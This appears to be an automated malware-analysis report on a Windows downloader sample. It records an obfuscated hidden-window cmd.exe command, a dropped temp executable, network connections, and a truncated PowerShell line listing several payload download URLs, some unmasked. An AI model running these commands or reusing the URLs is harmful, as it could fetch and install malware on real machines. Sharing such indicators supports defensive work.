Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /C"s^e^t ^E^Y^l=/&&s^e^t ^a^TN=^e&&^s^e^t ^q^8C=^;&&se^t ^J^mF^d=^I&&s^e^t 2^D=^0&&s^e^t 2^zC^A=^d(&&se^t ^a^9J^U=^m/mT&&^s^e^t ^Uv=^w&&^s^e^t ^E^5R=^ &&^set ^u^WNI=^K&&^set ^qm^9=^ &&^se^t ^27...
Modifies file system
Creates the following files
- %TEMP%\vzo.exe
Network activity
Connects to
- '15#.#5.172.17':80
- 'ed###lutions.us':80
TCP
HTTP GET requests
- http://15#.#5.172.17/4p2PEWnb
- http://ed###lutions.us/DAgOhx7xDA
UDP
- DNS ASK ga##f.co.ug
- DNS ASK ru####budiman.com
- DNS ASK da###ici.com
- DNS ASK ed###lutions.us
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /C"s^e^t ^E^Y^l=/&&s^e^t ^a^TN=^e&&^s^e^t ^q^8C=^;&&se^t ^J^mF^d=^I&&s^e^t 2^D=^0&&s^e^t 2^zC^A=^d(&&se^t ^a^9J^U=^m/mT&&^s^e^t ^Uv=^w&&^s^e^t ^E^5R=^ &&^set ^u^WNI=^K&&^set ^qm^9=^ &&^se^t ^27...' (with hidden window)
Executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $Gla='LOE';$Tzf='http://www.ga##f.co.ug/8nTTllUXDC@http://159.65.172.17/4p2PEWnb@http://rumpunbudiman.com/mTb56a9M@http://da-amici.com/K0laIZI@http://edisolutions.us/DAgOhx7xDA'.Split('@');$mkK...
